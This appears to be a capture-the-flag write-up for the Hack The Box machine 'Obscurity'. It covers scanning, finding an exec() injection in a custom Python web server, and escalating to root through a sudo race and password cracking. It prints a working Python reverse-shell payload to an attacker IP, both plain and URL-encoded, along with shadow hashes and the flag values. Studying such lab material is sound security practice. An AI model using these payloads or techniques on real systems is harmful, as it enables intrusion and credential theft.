Nmap TCP results
# Nmap 7.80 scan initiated Sun Mar 15 19:21:03 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon/results/scans/_full_tcp_nmap.txt -oX /home/kali/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon/results/scans/xml/_full_tcp_nmap.xml 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up, received user-set (0.055s latency).
Scanned at 2020-03-15 19:21:17 EDT for 144s
Not shown: 65531 filtered ports
Reason: 65531 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMGbaGqnhJ5GoiEH4opql41JoOBmB089aA2wQZgp5GCxf3scJti3BWS30ugrj2PBMydulKmeiAbHWA37ojLyAJxSdvyWrPqneEZfdaMCm/9NPnPSouZgQKLoOg/w8DEPeXfon8bxGYOt3HMXtVMk04/kt09ad7E2Eej8WzAp2k3JJX17ndZL0S5UNDJFyh6pHhGqCtjOapLGb1QwS7BDw+kHiZrkZbDRa1rMv5a/QoljgOIq0byvm5jEVe4NhKKfgwH7kXEU1DAlXmWYzsq/ZdhhwutrjbDam5alw4UAE/35DcPlnVl/7eRK6RIARJPZEQ0O64ixlzbAfIcDGi8GOr
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAygZOWHjNzQWySvfTX7s9Cnz0eSrc9IS/8wk126Wby5EAUmSalXlAL5WETz8nu/JN8nVpgHYEW6/mZm071xMd0=
| 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ6lPjlgfOScC0NXPX926fST+MXZViZJzBQPXDWsdHuw
80/tcp closed http reset ttl 63
8080/tcp open http-proxy syn-ack ttl 63 BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 15 Mar 2020 23:24:33
| Server: BadHTTPServer
| Last-Modified: Sun, 15 Mar 2020 23:24:33
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener reset ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=9%D=3/15%Time=5E6EB8DE%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Sun,\x2015\x20Mar\x2020
SF:20\x2023:24:33\nServer:\x20BadHTTPServer\nLast-Modified:\x20Sun,\x2015\
SF:x20Mar\x202020\x2023:24:33\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Sun,\x2015\x20Mar\x202020\x2023:24:33\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Sun,\x2015\x20Mar\x202020\x2023:24:33\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.18 (92%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.16 (91%), Oracle VM Server 3.4.2 (Linux 4.1) (90%), Android 4.1.1 (90%), Android 4.1.2 (90%), Crestron XPanel control system (90%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=3/15%OT=22%CT=80%CU=%PV=Y%DS=2%DC=T%G=N%TM=5E6EB8FD%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 49.058 days (since Sun Jan 26 17:00:45 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 54.98 ms 10.10.14.1
2 54.99 ms 10.10.10.168
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 15 19:23:41 2020 -- 1 IP address (1 host up) scanned in 157.67 seconds
WhatWeb results:
WhatWeb report for http://10.10.10.168:8080
Status : 200 OK
Title : 0bscura
IP : 10.10.10.168
Country : RESERVED, ZZ
Summary : JQuery, Email[secure@obscure.htb], HTML5, Script, HTTPServer[BadHTTPServer], X-UA-Compatible[IE=Edge]
Detected Plugins:
[ Email ]
Extract email addresses. Find valid email address and
syntactically invalid email addresses from mailto: link
tags. We match syntactically invalid links containing
mailto: to catch anti-spam email addresses, eg. bob at
gmail.com. This uses the simplified email regular
expression from
http://www.regular-expressions.info/email.html for valid
email address matching.
String : secure@obscure.htb
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : BadHTTPServer (from server string)
[ JQuery ]
A fast, concise, JavaScript that simplifies how to traverse
HTML documents, handle events, perform animations, and add
AJAX.
Website : http://jquery.com/
[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.
[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx
String : IE=Edge
HTTP Headers:
HTTP/1.1 200 OK
Date: Sun, 15 Mar 2020 23:23:06
Server: BadHTTPServer
Last-Modified: Sun, 15 Mar 2020 23:23:06
Content-Length: 4171
Content-Type: text/html
Connection: Closed
Using dirsearch to enumerate hidden directory
kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/autorecon$ /home/kali/tools/dirsearch/dirsearch.py -u 10.10.10.168:8080 -E
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 8673
Error Log: /home/kali/tools/dirsearch/logs/errors-20-03-15_19-43-24.log
Target: 10.10.10.168:8080
[19:43:25] Starting:
[19:44:30] 200 - 4KB - /index.html
Task Completed
The website:
Some interesting things in the website
This VM runs a home made web server. There are other information we can found in this website: 1) They are building a more secure SSH software and a unbreakable cipher. 2) Somewhere there is the source for the web server.
We know there is a SuperSecureServer.py
file in the FS, also it is not possible to browse the directories, so we have to look for something in the form http://10.10.10.168/XXX/SuperSecureServer.py
The best tool, in my opinion, to do that is wfuzz. So we try to identify the subdirectory used to store the source code.
kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity$ wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --sc 200 http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001245: 200 170 L 498 W 5892 Ch "develop"
Total time: 53.03077
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 87.00607
we can, then, download the sourcecode from http://10.10.10.168:8080/develop/SuperSecureServer.py:
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Looking at this two lines, we can see a dangerous method in use:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
The server will exec the vale of info variable. I add a "print" instruction in the code, so I can understand how the executed string is built.
info = "output = 'Document: {}'" # Keep the output for later debug
print ((info.format(path)))
I use, as a probe, the command print("test")
if the RCE injection works, I'll see the word test
in the server log/output.
If I send a command directly:
kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/server$ curl "http://10.10.14.10:9876/print(%22Test%22);"
the executed variable assumes the value:
GET /print(%22Test%22); from 10.10.14.10
output = 'Document: /print("Test");'
so, doing the exec with this value does not help us. We have to remove the "Document: /" part and then we will obtain an executable command.
We have to put a "'" after the slash and a command separator, for one line python scripts the separator is ";". Moreover we have to grant the output variable value is valid, so we have to add anoter "'" to the end of the request URL.
The payload, then, is: ';print("Test");'
so we send curl "http://10.10.14.10:9876/';print(%22Test%22);'"
the server responds with
GET /';print(%22Test%22);' from 10.10.14.10
output = 'Document: /';print("Test");''
Test
Exploitation
we can use the discovered RCE to inject a python reverse shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
the payload has to be URL encoded:
import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.10%22%2C6666%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29
we do the request and we got the reverse shell
Doing the recognition the user flag was found in the user's robert home.
www-data@obscure:/$ ls -la /home/robert
ls -la /home/robert
total 60
drwxr-xr-x 7 robert robert 4096 Dec 2 09:53 .
drwxr-xr-x 3 root root 4096 Sep 24 22:09 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 23:28 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct 3 16:02 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 23:08 check.txt
drwxr-x--- 3 robert robert 4096 Dec 2 09:53 .config
drwx------ 3 robert robert 4096 Oct 3 22:42 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct 3 16:34 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 15:01 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 15:01 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct 4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 14:12 user.txt
www-data@obscure:/$
There also the other 2 "super secure" services.
The file passwordreminder.txt
seems very interesting, it contains binary data, maybe it is encrypted with the "SuperSecureCrypt.py" script.
There are also two more useful files, the first is check.txt
and the second is out.txt
.
www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
so the out.txt file contains the encrypted check.txt content.
Analyzing the SuperSecureCrypt.py it seems a variation of the Vigenère cipher, extended to the whole ASCII space (255 bytes)
The byte encoding routine is: newChr = chr((newChr + ord(keyChr)) % 255)
and the decryption is newChr = chr((newChr - ord(keyChr)) % 255)
.
Let call encrypted
the encrypted value for a specific plaintext
value and key
the encryption key, doing a little algebra we can recover the encryption key with a very simple python script:
key=''
with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
encrypted = f.read()
with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
plaintext = f.read()
for i in range (0,len(plaintext)):
r=(ord(encrypted[i])-ord(plaintext[i])) % 255
key+=(chr(r))
print(key)
so:
www-data@obscure:/tmp$ echo "key=''
with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
encrypted = f.read()
with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
plaintext = f.read()
for i in range (0,len(plaintext)):
r=(ord(encrypted[i])-ord(plaintext[i])) % 255
key+=(chr(r))
print(key)echo "key=''
> with open('/home/robert/out.txt', 'r', encoding='UTF-8') as f:
> encrypted = f.read()
>
> with open('/home/robert/check.txt', 'r', encoding='UTF-8') as f:
> plaintext = f.read()
>
> for i in range (0,len(plaintext)):
> r=(ord(encrypted[i])-ord(plaintext[i])) % 255
> key+=(chr(r))
> " > key_enc.py
print(key)" > key_enc.py
www-data@obscure:/tmp$ python3 ./key_enc.py
python3 ./key_enc.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal
www-data@obscure:/tmp$
The encryption key is alexandrovich
we try to use this key to decrypt the passwordreminder.txt
file:
www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -k alexandrovich -i passwordreminder.txt -d -o /tmp/aaa
asswordreminder.txt -d -o /tmp/aaaxandrovich -i pa
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Decrypting...
Writing to /tmp/aaa...
www-data@obscure:/home/robert$ cd /tmp
cd /tmp
www-data@obscure:/tmp$ cat aaa
cat aaa
SecThruObsFTW
the password is SecThruObsFTW and it is the password for robert using ssh:
kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity/server$ ssh robert@10.10.10.168
The authenticity of host '10.10.10.168 (10.10.10.168)' can't be established.
ECDSA key fingerprint is SHA256:H6t3x5IXxyijmFEZ2NVZbIZHWZJZ0d1IDDj3OnABJDw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.168' (ECDSA) to the list of known hosts.
robert@10.10.10.168's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Mar 16 16:54:38 UTC 2020
System load: 0.0 Processes: 129
Usage of /: 45.9% of 9.78GB Users logged in: 0
Memory usage: 17% IP address for ens160: 10.10.10.168
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
40 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Mar 16 15:51:53 2020 from 10.10.14.7
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
The user flag is e4493782066b55fe2755708736ada2d7
Running a privilege escalation check script I found this message:
[+] We can sudo without supplying a password!
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
So we can run the script as root. Looking at the script, it read the shadow file content and write it in a temp file. It asks for valid credentials and if the user is not able to authenticate, the temp file will be removed. The interesting things are the sleeps inserted in the code. If we can issue a Control-C just after sending the password, we can break the script and recover the password hashes First we have to make the /tmp/SSH directory:
robert@obscure:~/BetterSSH$ mkdir /tmp/SSH
robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: root
^CTraceback (most recent call last):
File "/home/robert/BetterSSH/BetterSSH.py", line 26, in <module>
time.sleep(.1)
KeyboardInterrupt
robert@obscure:~/BetterSSH$ ls -la /tmp/SSH/
total 12
drwxrwxr-x 2 robert robert 4096 Mar 16 23:54 .
drwxrwxrwt 11 root root 4096 Mar 16 23:54 ..
-rw-r--r-- 1 root root 249 Mar 16 23:54 bTAgFLrN
robert@obscure:~/BetterSSH$ cat /tmp/SSH/bTAgFLrN
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
We can, then, crack the root password:
kali@kali:~/Documents/hackTheBox/HackTheBox/machines/obscurity$ /sbin/john --fork=3 --format=sha512crypt root.hash /usr/share/wordlists/rockyou.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Node numbers 1-3 of 3 (fork)
Proceeding with single, rules:Single
Almost done: Processing the remaining buffered candidate passwords, if any.
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Almost done: Processing the remaining buffered candidate passwords, if any.
mercedes (?)
1 1g 0:00:00:00 DONE 2/3 (2020-03-16 19:32) 2.380g/s 1523p/s 1523c/s 1523C/s crystal..porter
Waiting for 2 children to terminate
2 0g 0:00:00:13 59.79% 2/3 (ETA: 19:32:53) 0g/s 1885p/s 1885c/s 1885C/s Freedom3..Lacrosse3
3 0g 0:00:00:13 46.58% 2/3 (ETA: 19:32:59) 0g/s 1875p/s 1875c/s 1875C/s sufuR..ykciV
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
the root password il mercedes So we can become root and own the system:
robert@obscure:~/BetterSSH$ su - root
Password:
root@obscure:~# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3
root@obscure:~#
The root flag is 512fd4429f33a113a44d5acde23609e3